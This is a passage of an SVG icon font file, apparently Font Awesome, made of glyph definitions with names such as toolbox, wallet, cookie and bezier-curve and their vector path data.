-8.19043 0 -11.3105 +l16.9707 -16.9697l-33.9404 -33.9404l-45.2598 45.25l28.29 28.29c3.12012 3.12012 3.12012 8.19043 0 11.3105l-11.3105 11.3096c-3.11914 3.12012 -8.18945 3.12012 -11.3096 0l-28.29 -28.29l-28.3096 28.2705c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0 +l-11.3096 -11.3105c-3.12012 -3.11914 -3.12012 -8.18945 0 -11.3096l28.29 -28.29l-45.2607 -45.25l-33.9395 33.9404l16.9697 16.9697c3.12012 3.12012 3.12012 8.18945 0 11.3096l-11.3096 11.3105c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0l-16.9697 -16.9707 +l-16.9697 16.9707c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0l-11.3096 -11.3105c-3.12012 -3.12012 -3.12012 -8.18945 0 -11.3096l16.9697 -16.9697l-16.9697 -16.9707c-3.12012 -3.12012 -3.12012 -8.18945 0 -11.3096l11.3096 -11.3105 +c3.12012 -3.11914 8.19043 -3.11914 11.3105 0l16.9697 16.9707l33.9404 -33.9404l-45.25 -45.2598l-28.29 28.29c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0l-11.3096 -11.3105c-3.12012 -3.11914 -3.12012 -8.18945 0 -11.3096l28.29 -28.29l-28.29 -28.29 +c-3.12012 -3.12012 -3.12012 -8.19043 0 -11.3096l11.3398 -11.3301c3.12012 -3.12012 8.18945 -3.12012 11.3096 0l28.29 28.29l45.25 -45.25l-33.9395 -33.9404l-16.9707 16.9697c-3.11914 3.12012 -8.18945 3.12012 -11.3096 0l-11.3096 -11.3096 +c-3.12012 -3.12012 -3.12012 -8.19043 0 -11.3105l16.9697 -16.9697l-16.9697 -16.9697c-3.12012 -3.12012 -3.12012 -8.19043 0 -11.3105l11.3096 -11.3096c3.12012 -3.12012 8.19043 -3.12012 11.3096 0l16.9707 16.9697l16.9697 -16.9697 +c3.12012 -3.12012 8.19043 -3.12012 11.3096 0l11.3105 11.3096c3.12012 3.12012 3.12012 8.19043 0 11.3105l-16.9697 16.9697l33.9395 33.9404l45.25 -45.2598l-28.29 -28.29c-3.12012 -3.12012 -3.12012 -8.19043 0 -11.3105l11.3105 -11.3096 +c3.11914 -3.12012 8.18945 -3.12012 11.3096 0l28.29 28.29l28.3096 -28.2705c3.12012 -3.12012 8.19043 -3.12012 11.3105 0l11.3096 11.3105c3.12012 3.11914 3.12012 8.18945 0 11.3096l-28.29 28.29l45.2607 45.2598l33.9395 -33.9395l-16.9697 -16.9707 +c-3.12012 -3.11914 -3.12012 -8.18945 0 -11.3096l11.3096 -11.3096c3.12012 -3.12012 8.19043 -3.12012 11.3105 0l16.9697 16.9697l16.9697 -16.9697c3.12012 -3.12012 8.19043 -3.12012 11.3105 0l11.3096 11.3096c3.12012 3.12012 3.12012 8.19043 0 11.3096 +l-16.9697 16.9707l16.9697 16.9697c3.12012 3.12012 3.12012 8.19043 0 11.3096l-11.3096 11.3105c-3.12012 3.12012 -8.19043 3.12012 -11.3105 0l-16.9697 -16.9697l-33.9404 33.9395l45.25 45.25l28.29 -28.29c3.12012 -3.12012 8.19043 -3.12012 11.3105 0zM278.63 192 +l45.2598 45.2598l45.25 -45.2598l-45.25 -45.25z" /> + <glyph glyph-name="toolbox" unicode="" +d="M502.63 233.37c6 -6 9.37012 -14.1396 9.37012 -22.6201v-82.75h-128v16c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-16h-128v16c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-16h-128v82.7402 +c0 8.49023 3.37012 16.6299 9.37012 22.6299l45.25 45.2598c6.00977 6 14.1396 9.37012 22.6299 9.37012h50.75v80c0 26.5098 21.4902 48 48 48h160c26.5098 0 48 -21.4902 48 -48v-80.0098h50.75c8.49023 0 16.6299 -3.37012 22.6299 -9.37012zM320 288v64h-128v-64h128z +M384 80v16h128v-96c0 -17.6699 -14.3301 -32 -32 -32h-448c-17.6699 0 -32 14.3301 -32 32v96h128v-16c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16v16h128v-16c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16z" /> + <glyph glyph-name="tshirt" unicode="" horiz-adv-x="640" +d="M631.2 351.5c7.89941 -3.90039 11.0996 -13.5996 7.09961 -21.5l-57.2998 -114.4c-4 -8 -13.5996 -11.1992 -21.5 -7.19922l-56.5996 27.6992c-10.6006 5.2002 -23 -2.59961 -23 -14.3994v-253.7c0 -17.7002 -14.3008 -32 -32 -32h-256c-17.7002 0 -32 14.2998 -32 32 +v253.6c0 11.9004 -12.4004 19.6006 -23 14.4004l-56.6006 -27.7002c-7.89941 -3.89941 -17.5 -0.700195 -21.5 7.2002l-57.2002 114.5c-3.89941 7.90039 -0.699219 17.5 7.2002 21.5l194.7 96.5c20.0996 -27.7998 64.5996 -47.2002 116.5 -47.2002 +s96.4004 19.4004 116.5 47.2002z" /> + <glyph glyph-name="walking" unicode="" horiz-adv-x="320" +d="M208 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM302.5 202.9c15.7002 -7.90039 22 -27.3008 14.2998 -43c-7.89941 -15.8008 -26.8994 -22.2002 -42.5 -14.3008l-23.2998 11.8008c-15 7.59961 -26.4004 20.8994 -31.7002 37 +l-5.5 16.5l-17.2002 -68.7002l45.5 -49.7002c7.2002 -7.7998 12.3008 -17.4004 14.9004 -27.7002l22.2002 -89c4.2998 -17.0996 -6.2002 -34.5 -23.2998 -38.7998c-17.1006 -4.2998 -34.5 6.2002 -38.8008 23.2998l-18.2998 73.2998 +c-2.59961 10.3008 -7.7002 19.8008 -14.8994 27.7002l-59.9004 65.4004c-14.5 15.8994 -20.0996 38 -14.9004 58.7998l15.2002 60.7002l-26.7998 -10.7998c-7.2002 -2.90039 -13 -8.40039 -16.5 -15.4004l-6.7002 -13.5996 +c-7.89941 -15.8008 -26.8994 -22.2002 -42.5 -14.3008c-15.7002 7.90039 -22 27.1006 -14.2002 42.9004l6.7002 13.5996c10.4004 21 28.1006 37.5 49.7002 46.2002c37.4004 15.1006 57.2998 25.2998 93.2998 25.2002c46.5 -0.0996094 87.5 -31.2998 102.2 -75.9004 +l9.7002 -29.3994zM73.5996 62.2002l20.7002 51.5c8.7002 -11.9004 -7.89941 6.59961 47.4004 -53.7002l-13.5 -33.7998c-3.2998 -8.10059 -8.10059 -15.4004 -14.2002 -21.5l-59.4004 -59.4004c-12.5 -12.5 -32.6992 -12.5 -45.1992 0s-12.5 32.7998 0 45.2998l50 50.1006 +c6.19922 6.09961 11 13.3994 14.1992 21.5z" /> + <glyph glyph-name="wallet" unicode="" +d="M461.2 320c28.0195 0 50.7998 -21.5303 50.7998 -48v-256c0 -26.4697 -22.7803 -48 -50.7998 -48h-397.2c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h368c26.5098 0 48 -21.4902 48 -48c0 -8.83984 -7.16016 -16 -16 -16h-384 +c-8.83984 0 -16 -7.16016 -16 -16s7.16016 -16 16 -16h381.2zM416 112c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="angry" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM136 208c0 -17.7002 14.4004 -32 32.0996 -32c17.7002 0 32 14.2998 32 32c0 2.90039 -1 5.5 -1.69922 8.2002c0.599609 0 1.19922 -0.200195 1.69922 -0.200195 +c6.90039 0 13.2002 4.5 15.3008 11.4004c2.59961 8.39941 -2.2002 17.3994 -10.7002 19.8994l-80 24c-8.5 2.5 -17.4004 -2.2002 -19.9004 -10.7002c-2.59961 -8.39941 2.2002 -17.3994 10.7002 -19.8994l31 -9.2998c-6.40039 -5.90039 -10.5 -14.1006 -10.5 -23.4004z +M304 53.7998c13.4004 -16.0996 38.2998 4 24.5 20.5c-20 24 -49.4004 37.7998 -80.5996 37.7998c-31.2002 0 -60.6006 -13.7998 -80.6006 -37.7998c-13.5996 -16.2998 11.1006 -36.7998 24.6006 -20.5c27.8994 33.4004 84.2998 33.4004 112.1 0zM380.6 240.7 +c8.5 2.5 13.3008 11.3994 10.8008 19.8994c-2.5 8.40039 -11.5 13.2002 -19.9004 10.7002l-80 -24c-8.40039 -2.5 -13.2002 -11.3994 -10.7002 -19.8994c2.10059 -6.90039 8.40039 -11.4004 15.2998 -11.4004c0.600586 0 1.10059 0.0996094 1.7002 0.200195 +c-0.799805 -2.60059 -1.7002 -5.2998 -1.7002 -8.2002c0 -17.7002 14.3008 -32 32 -32c17.7002 0 32 14.2998 32 32c0 9.2998 -4.19922 17.5996 -10.5 23.4004z" /> + <glyph glyph-name="archway" unicode="" horiz-adv-x="576" +d="M560 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-159.98c-8.83984 0 -16 7.16016 -16 16v16l-0.0195312 160c0 53.0195 -42.9805 96 -96 96s-96 -42.9805 -96 -96v-176c0 -8.83984 -7.16016 -16 -16 -16h-159.98 +c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h15.9805v352h512v-352h16zM560 448c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-544c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h544z" /> + <glyph glyph-name="atlas" unicode="" horiz-adv-x="448" +d="M318.38 240c-5.28027 -31.2197 -25.5898 -57.1699 -53.2998 -70.4102c7.66992 19.0605 12.7197 43.3799 14.21 70.4102h39.0898zM318.38 272h-39.0898c-1.49023 27.0303 -6.53027 51.3496 -14.21 70.4102c27.71 -13.2402 48.0098 -39.1904 53.2998 -70.4102zM224 350.69 +c7.69043 -7.4502 20.7695 -34.4307 23.4404 -78.6904h-46.8701c2.66016 44.2695 15.7393 71.2402 23.4297 78.6904zM182.92 342.41c-7.67969 -19.0605 -12.7197 -43.3799 -14.21 -70.4102h-39.0898c5.28027 31.2197 25.5898 57.1699 53.2998 70.4102zM182.92 169.59 +c-27.71 13.2402 -48.0195 39.1904 -53.2998 70.4102h39.0898c1.49023 -27.0303 6.53027 -51.3496 14.21 -70.4102zM247.43 240c-2.66016 -44.2598 -15.7393 -71.2402 -23.4395 -78.6904c-7.69043 7.4502 -20.7705 34.4307 -23.4307 78.6904h46.8701zM448 89.5996 +c0 -9.59961 -3.2002 -16 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320c0 54.4004 41.5996 96 96 96 +h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM224 384c-70.6904 0 -128 -57.3096 -128 -128s57.3096 -128 128 -128s128 57.3096 128 128s-57.3096 128 -128 128zM384 0v64h-288c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h288z" /> + <glyph glyph-name="award" unicode="" horiz-adv-x="384" +d="M97.1201 85.3701c13.79 -13.7803 32.1104 -21.3701 51.6104 -21.3701c12.4395 0 24.4697 3.54004 35.3096 9.58008l-52.0498 -127.62c-4.39062 -10.7695 -18.4307 -13.4004 -26.4307 -4.95996l-36.2393 38.2803l-52.6904 -2.01074 +c-11.6201 -0.439453 -19.8203 11.2607 -15.4297 22.0303l45.3701 111.24c7.55957 -5.87012 15.9199 -10.7705 25.4297 -13.3203c20.96 -5.60938 16.4297 -3.16016 25.1201 -11.8496zM382.8 -0.700195c4.39062 -10.7598 -3.80957 -22.4697 -15.4297 -22.0303 +l-52.6904 2.01074l-36.25 -38.2803c-7.98926 -8.44043 -22.04 -5.80957 -26.4297 4.95996l-52.0498 127.62c10.8398 -6.03027 22.8701 -9.58008 35.3096 -9.58008c19.5 0 37.8301 7.58984 51.6201 21.3701c8.66992 8.66992 4.0498 6.20996 25.1201 11.8496 +c9.50977 2.5498 17.8701 7.44043 25.4297 13.3203zM263 108c-13.2305 -13.4697 -33.8398 -15.8799 -49.7305 -5.82031c-6.13867 3.89746 -13.5029 6.15527 -21.3066 6.15527s-15.084 -2.25781 -21.2227 -6.15527c-15.9004 -10.0596 -36.5098 -7.64941 -49.7402 5.82031 +c-14.7305 15 -16.4004 14.04 -38.7803 20.1396c-13.8896 3.79004 -24.75 14.8408 -28.4697 28.9805c-7.48047 28.3994 -5.54004 24.9697 -25.9502 45.75c-10.1699 10.3604 -14.1396 25.4502 -10.4199 39.5898c7.48047 28.4199 7.46973 24.46 0 52.8203 +c-3.72949 14.1396 0.25 29.2295 10.4199 39.5801c20.4102 20.7793 18.4805 17.3594 25.9502 45.75c3.71973 14.1396 14.5801 25.1895 28.4697 28.9795c27.8906 7.61035 24.5303 5.62988 44.9404 26.4102c10.1699 10.3604 25 14.4004 38.8896 10.6104 +c27.9199 -7.61035 24.0303 -7.60059 51.9004 0c13.8896 3.79004 28.7197 -0.260742 38.8896 -10.6104c20.4297 -20.79 17.0703 -18.7998 44.9502 -26.4102c13.8896 -3.79004 24.75 -14.8398 28.4697 -28.9795c7.48047 -28.3906 5.54004 -24.9707 25.9502 -45.75 +c10.1699 -10.3506 14.1396 -25.4404 10.4199 -39.5801c-7.47949 -28.4102 -7.46973 -24.4502 0 -52.8301c3.71973 -14.1406 -0.25 -29.2305 -10.4199 -39.5801c-20.4102 -20.7803 -18.4697 -17.3506 -25.9502 -45.75c-3.71973 -14.1396 -14.5801 -25.1904 -28.4697 -28.9805 +c-21.7598 -5.92969 -23.5098 -4.58984 -38.79 -20.1396zM97.6602 272.04c0 -53.0303 42.2402 -96.0205 94.3398 -96.0205s94.3398 42.9902 94.3398 96.0205s-42.2402 96.0195 -94.3398 96.0195s-94.3398 -42.9893 -94.3398 -96.0195z" /> + <glyph glyph-name="backspace" unicode="" horiz-adv-x="640" +d="M576 384c35.3496 0 64 -28.6504 64 -64v-256c0 -35.3496 -28.6504 -64 -64 -64h-370.75c-16.9697 0 -33.25 6.75 -45.25 18.75l-150.63 150.63c-12.5 12.4902 -12.5 32.75 0 45.25l150.63 150.62c11.5801 11.5869 27.5869 18.75 45.2471 18.75h0.0126953h370.74z +M491.31 129.94l-62.0596 62.0596l62.0596 62.0596c6.25 6.25 6.25 16.3809 0 22.6309l-22.6191 22.6191c-6.25 6.25 -16.3809 6.25 -22.6309 0l-62.0596 -62.0596l-62.0596 62.0596c-6.25 6.25 -16.3809 6.25 -22.6309 0l-22.6191 -22.6191 +c-6.25 -6.25 -6.25 -16.3809 0 -22.6309l62.0596 -62.0596l-62.0596 -62.0596c-6.25 -6.25 -6.25 -16.3809 0 -22.6309l22.6191 -22.6191c6.25 -6.25 16.3809 -6.25 22.6309 0l62.0596 62.0596l62.0596 -62.0596c6.25 -6.25 16.3809 -6.25 22.6309 0l22.6191 22.6191 +c6.25 6.25 6.25 16.3809 0 22.6309z" /> + <glyph glyph-name="bezier-curve" unicode="" horiz-adv-x="640" +d="M368 416c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96zM208 360v-72c0 -9.4502 2.17969 -18.3604 5.87988 -26.4404c-34.2695 -24.3496 -59.7402 -59.9492 -71.04 -101.56 +h-49.3994c13.6797 64.6797 54.1699 119.48 109.54 152h-79.7305c-9.5 -23.4404 -32.4102 -40 -59.25 -40c-35.3398 0 -64 28.6504 -64 64s28.6602 64 64 64c26.8398 0 49.75 -16.5596 59.25 -40h84.75zM160 128c17.6699 0 32 -14.3301 32 -32v-96 +c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96zM576 400c35.3398 0 64 -28.6504 64 -64s-28.6602 -64 -64 -64c-26.8398 0 -49.75 16.5596 -59.25 40h-79.7305c55.3701 -32.5195 95.8604 -87.3203 109.54 -152 +h-49.3994c-11.2998 41.6104 -36.7705 77.21 -71.04 101.56c3.68945 8.08008 5.87988 16.9902 5.87988 26.4404v72h84.75c9.5 23.4404 32.4102 40 59.25 40zM576 128c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32 +v96c0 17.6699 14.3301 32 32 32h96z" /> + <glyph glyph-name="bong" unicode="" horiz-adv-x="448" +d="M302.5 -64h-221c-23.1699 0 -44.4199 12.5801 -56 32.6602c-16.1904 28.0703 -25.5 60.5898 -25.5 95.3398c0 71.0303 38.6699 132.9 96 166.11v153.93l-15.9697 -0.0205078c-8.85059 -0.00976562 -16.0303 7.16016 -16.0205 16.0107l0.0400391 31.7295 +c0.00976562 8.82031 7.16016 15.9707 15.9805 15.9805l223.939 0.259766c8.85059 0.00976562 16.0303 -7.16992 16.0205 -16.0195l-0.0400391 -31.7207c-0.00976562 -8.81934 -7.16016 -15.9697 -15.9805 -15.9795l-15.9697 -0.0205078v-154.16 +c14.1201 -8.17969 27.0898 -18.1396 38.6504 -29.5098l39.4092 39.4102l-9.37988 9.37988c-6.25 6.25 -6.25 16.3799 0 22.6299l11.3105 11.3105c6.25 6.25 16.3799 6.25 22.6299 0l52.6895 -52.6904c6.25 -6.25 6.25 -16.3799 0 -22.6299l-11.2998 -11.3203 +c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-9.37988 9.37988l-43.4404 -43.4395c17.3604 -28.8105 27.4404 -62.5 27.4404 -98.6201c0 -34.75 -9.30957 -67.2598 -25.5 -95.3398c-11.5703 -20.0801 -32.8203 -32.6602 -56 -32.6602zM120.06 188.57 +c-24.8096 -14.3701 -44.1094 -35.7305 -56.5596 -60.5703h257c-12.4404 24.8398 -31.75 46.2002 -56.5596 60.5703l-23.9404 13.8701v181.76l-96 -0.110352v-181.649z" /> + <glyph glyph-name="brush" unicode="" horiz-adv-x="384" +d="M352 448c17.6699 0 32 -14.3301 32 -32v-224h-384v224c0 17.6699 14.3301 32 32 32h320zM0 128v32h384v-32c0 -35.3496 -28.6602 -64 -64 -64h-64v-64c0 -35.3496 -28.6602 -64 -64 -64s-64 28.6504 -64 64v64h-64c-35.3398 0 -64 28.6504 -64 64zM192 24 +c-13.25 0 -24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24s24 10.75 24 24c0 13.2598 -10.75 24 -24 24z" /> + <glyph glyph-name="bus-alt" unicode="" +d="M488 320c13.25 0 24 -10.7402 24 -24v-80c0 -13.25 -10.75 -24 -24 -24h-8v-166.4c0 -12.7998 -9.59961 -25.5996 -25.5996 -25.5996h-6.40039v-32c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-192v-32c0 -17.6699 -14.3301 -32 -32 -32h-32 +c-17.6699 0 -32 14.3301 -32 32v32c-17.6699 0 -32 14.3301 -32 32v160h-8c-13.25 0 -24 10.75 -24 24v80c0 13.2598 10.75 24 24 24h8v48c0 44.7998 99.2002 80 224 80s224 -35.2002 224 -80v-48h8zM160 376v-16c0 -4.41992 3.58008 -8 8 -8h176c4.41992 0 8 3.58008 8 8 +v16c0 4.41992 -3.58008 8 -8 8h-176c-4.41992 0 -8 -3.58008 -8 -8zM112 48c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM240 160v160h-112c-17.6699 0 -32 -14.3301 -32 -32v-96c0 -17.6699 14.3301 -32 32 -32h112zM272 160 +h112c17.6699 0 32 14.3301 32 32v96c0 17.6699 -14.3301 32 -32 32h-112v-160zM400 48c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="cannabis" unicode="" +d="M503.47 87.75c5.24023 -2.75977 8.52051 -8.20996 8.53027 -14.1504c0.00976562 -5.92969 -3.26953 -11.3691 -8.50977 -14.1494c-2.4502 -1.29004 -60.7705 -31.7197 -133.49 -31.7197c-6.12988 0 -11.96 0.0996094 -17.5 0.30957 +c11.3604 -22.2305 16.5195 -38.3096 16.8096 -39.2197c1.80078 -5.68066 0.290039 -11.8906 -3.90918 -16.1104c-2.90137 -2.91113 -6.91699 -4.70801 -11.3477 -4.70801c-1.6543 0 -3.25098 0.250977 -4.75293 0.717773c-1.83008 0.580078 -37.7197 11.9902 -77.2998 39.29 +v-64.0098c0 -4.41992 -3.58008 -8 -8 -8h-16c-4.41992 0 -8 3.58008 -8 8v64.0195c-39.5801 -27.2998 -75.4697 -38.7197 -77.2998 -39.2891c-1.50195 -0.466797 -3.10059 -0.724609 -4.75586 -0.724609c-4.43066 0 -8.44336 1.80273 -11.3447 4.71387 +c-4.19922 4.2207 -5.70996 10.4307 -3.90918 16.1104c0.290039 0.910156 5.43945 16.9902 16.8096 39.2197c-5.54004 -0.209961 -11.3604 -0.30957 -17.5 -0.30957c-72.7305 0 -131.04 30.4297 -133.49 31.7197c-5.06836 2.68652 -8.52441 7.99805 -8.52441 14.1299 +c0 6.13965 3.46484 11.4766 8.54492 14.1602c1.56934 0.820312 32.3896 16.8896 76.7793 25.8096c-64.25 75.1201 -84.0498 161.671 -84.9297 165.641c-0.25 1.12207 -0.384766 2.28125 -0.384766 3.47754c0 4.40723 1.78711 8.39941 4.6748 11.292 +c3.03027 3.04004 7.12012 4.7002 11.3203 4.7002c1.14941 0 2.2998 -0.129883 3.43945 -0.379883c3.89062 -0.860352 86.5508 -19.5996 160.58 -79.7598c0 1.45996 -0.00976562 2.92969 -0.00976562 4.39941c0 118.79 59.9805 213.721 62.5303 217.7 +c2.93945 4.58984 8.01953 7.37012 13.4697 7.37012c5.65625 0 10.6211 -2.92969 13.46 -7.37012c2.5498 -3.97949 62.5303 -98.9102 62.5303 -217.7c0 -1.46973 0 -2.93945 -0.00976562 -4.39941c74.0391 60.1699 156.699 78.9102 160.579 79.7598 +c1.15039 0.259766 2.30078 0.379883 3.44043 0.379883c4.2002 0 8.29004 -1.66016 11.3203 -4.7002c3.85938 -3.87012 5.47949 -9.43945 4.2998 -14.7695c-0.879883 -3.96973 -20.6797 -90.5205 -84.9297 -165.641c44.3896 -8.91992 75.2197 -24.9893 76.7793 -25.8096z" /> + <glyph glyph-name="check-double" unicode="" +d="M505 273.2c9.2998 -9.2998 9.2998 -24.5 -0.0996094 -34l-296 -296.2c-9.30078 -9.40039 -24.5 -9.40039 -33.9004 0l-168 168.1c-9.40039 9.40039 -9.40039 24.6006 0 34l39.7002 39.7002c9.2998 9.40039 24.5 9.40039 33.8994 0l111.4 -111.5l239.5 239.5 +c9.2998 9.40039 24.5 9.40039 33.9004 0zM180.7 167.2l-112 112.2c-6.2002 6.19922 -6.2002 16.2998 0 22.5996l45.2998 45.2998c6.2002 6.2998 16.4004 6.2998 22.5996 0l55.4004 -55.5l151.5 151.5c6.2002 6.2998 16.4004 6.2998 22.5996 0l45.2002 -45.2998 +c6.2002 -6.2002 6.2002 -16.2998 0 -22.5996l-208 -208.2c-6.2002 -6.2998 -16.3994 -6.2998 -22.5996 0z" /> + <glyph glyph-name="cocktail" unicode="" horiz-adv-x="576" +d="M296 -16c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-240c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h56v125.22l-168.74 168.73c-15.5195 15.5195 -4.5293 42.0498 17.4199 42.0498h366.641c21.9492 0 32.9395 -26.5303 17.4199 -42.0498 +l-168.74 -168.73v-125.22h56zM432 448c79.5303 0 144 -64.4697 144 -144s-64.4697 -144 -144 -144c-27.4102 0 -52.7695 8.08008 -74.5801 21.3799l35.2598 35.2598c12.0303 -5.43945 25.2803 -8.63965 39.3203 -8.63965c52.9297 0 96 43.0596 96 96s-43.0703 96 -96 96 +c-35.3701 0 -65.9902 -19.4502 -82.6396 -48h-52.54c19.8301 55.7998 72.5693 96 135.18 96z" /> + <glyph glyph-name="concierge-bell" unicode="" +d="M288 317.46c108.51 -15.5703 192 -108.64 192 -221.46h-448c0 112.82 83.4902 205.89 192 221.46v18.54h-16c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h96c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-16v-18.54zM496 64 +c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h480z" /> + <glyph glyph-name="cookie" unicode="" +d="M510.37 193.21c4.37988 -27.6602 -0.110352 -56 -12.8203 -80.96l-35.0996 -68.8701c-12.7021 -24.9268 -32.8652 -45.0938 -57.79 -57.7998l-69.1201 -35.21c-24.8301 -12.6396 -53.0098 -17.1104 -80.5205 -12.75l-76.6992 12.1396 +c-28.1211 4.45801 -53.4463 17.7891 -72.71 37.0498l-54.7607 54.75c-19.3213 19.3281 -32.6924 44.7373 -37.1592 72.9502l-12.0801 76.2705c-1.07715 6.79883 -1.55371 13.7725 -1.55371 20.8721c0 21.6162 5.18359 42.0303 14.373 60.0674l35.1006 68.8799 +c12.6992 24.9297 32.8633 45.0967 57.79 57.8008l69.1201 35.21c24.8291 12.6494 53.0098 17.1201 80.5195 12.7598l76.7002 -12.1504c27.5303 -4.34961 52.9795 -17.3301 72.71 -37.0498l54.7598 -54.75c19.3213 -19.3281 32.6924 -44.7363 37.1602 -72.9502zM176 80 +c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM208 240c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM368 112c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32 +s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="cookie-bite" unicode="" +d="M510.52 192.18c4.10059 -27.3301 -0.349609 -55.2695 -12.9092 -79.9102l-35.1006 -68.8799c-12.6992 -24.9316 -32.8623 -45.1025 -57.79 -57.8096l-69.1299 -35.21c-24.8301 -12.6504 -53.0195 -17.1201 -80.5303 -12.7598l-76.71 12.1494 +c-28.123 4.45801 -53.4482 17.793 -72.71 37.0605l-54.7695 54.7598c-19.3223 19.332 -32.6934 44.7441 -37.1602 72.96l-12.0801 76.2695c-1.07617 6.7998 -1.55273 13.7734 -1.55273 20.874c0 21.6182 5.18262 42.0361 14.373 60.0762l35.0996 68.8799 +c12.6963 24.9346 32.8613 45.1055 57.79 57.8105l69.1299 35.2197c24.5898 12.5205 52.46 16.96 79.7207 12.8203c0.859375 -69.96 57.6895 -126.45 127.859 -126.45c0 -70.1699 56.5 -127.01 126.47 -127.86zM176 80c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32 +s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM208 240c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM368 112c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="crop-alt" unicode="" +d="M488 96c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-40v-40c0 -13.25 -10.75 -24 -24 -24h-48c-13.25 0 -24 10.75 -24 24v328h-160v96h224c17.6699 0 32 -14.3301 32 -32v-256h40zM160 424v-328h160v-96h-224c-17.6699 0 -32 14.3301 -32 32v256h-40 +c-13.25 0 -24 10.75 -24 24v48c0 13.2598 10.75 24 24 24h40v40c0 13.2598 10.75 24 24 24h48c13.25 0 24 -10.7402 24 -24z" /> + <glyph glyph-name="digital-tachograph" unicode="" horiz-adv-x="640" +d="M608 352c17.6699 0 32 -14.3301 32 -32v-256c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v256c0 17.6699 14.3301 32 32 32h576zM304 96v8c0 4.41992 -3.58008 8 -8 8h-224c-4.41992 0 -8 -3.58008 -8 -8v-8c0 -4.41992 3.58008 -8 8 -8h224 +c4.41992 0 8 3.58008 8 8zM72 160c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-16zM136 160c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-16 +c-4.41992 0 -8 -3.58008 -8 -8v-16zM200 160c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-16zM264 160c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8 +h-16c-4.41992 0 -8 -3.58008 -8 -8v-16zM304 224v48c0 8.83984 -7.16016 16 -16 16h-208c-8.83984 0 -16 -7.16016 -16 -16v-48c0 -8.83984 7.16016 -16 16 -16h208c8.83984 0 16 7.16016 16 16zM576 96v8c0 4.41992 -3.58008 8 -8 8h-224c-4.41992 0 -8 -3.58008 -8 -8v-8 +c0 -4.41992 3.58008 -8 8 -8h224c4.41992 0 8 3.58008 8 8z" /> + <glyph glyph-name="dizzy" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 